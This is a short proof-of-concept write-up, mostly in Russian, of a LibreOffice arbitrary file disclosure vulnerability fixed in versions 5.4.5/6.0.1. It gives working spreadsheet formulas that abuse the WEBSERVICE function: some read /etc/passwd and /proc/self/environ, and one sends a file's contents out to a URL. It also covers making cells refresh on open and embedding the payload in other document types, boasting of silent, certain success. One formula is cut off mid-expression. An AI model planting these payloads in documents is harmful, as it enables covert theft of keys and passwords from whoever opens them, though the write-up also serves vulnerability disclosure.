
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice поддерживает функцию COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
Эта функция используется для получения данных по URL, обычно применяется так:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
В оригинале:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
В LibreOffice эти ограничения не реализованы до версий 5.4.5/6.0.1.
По умолчанию ячейки не обновляются, но если указать тип ячейки, например ~error, то ячейка будет обновляться при открытии документа.
Чтобы прочитать файл, достаточно:
=WEBSERVICE("/etc/passwd")
Эту функцию также можно использовать для отправки файла:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Для успешной операции нужно отправлять файлы текущего пользователя, поэтому необходимо получить домашний путь текущего пользователя.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Также можно разбирать и другие файлы, например ~/.ssh/config или что-то подобное.
Для форматов, отличных от LibreOffice Calc, достаточно встроить объект Calc в другой документ (я проверил, это работает).
Легко отправить любые файлы с ключами, паролями и всем остальным. 100% успех, абсолютно незаметно, затрагивает LibreOffice до версий 5.4.5/6.0.1 во всех операционных системах (GNU/Linux, MS Windows, macOS и т. д.) и может быть внедрено почти во все форматы, поддерживаемые LO.
Уязвимость была независимо обнаружена мной (@jollheef) и Ронни Гудричем && Эндрю Красичковым (согласно примечаниям команды LibreOffice).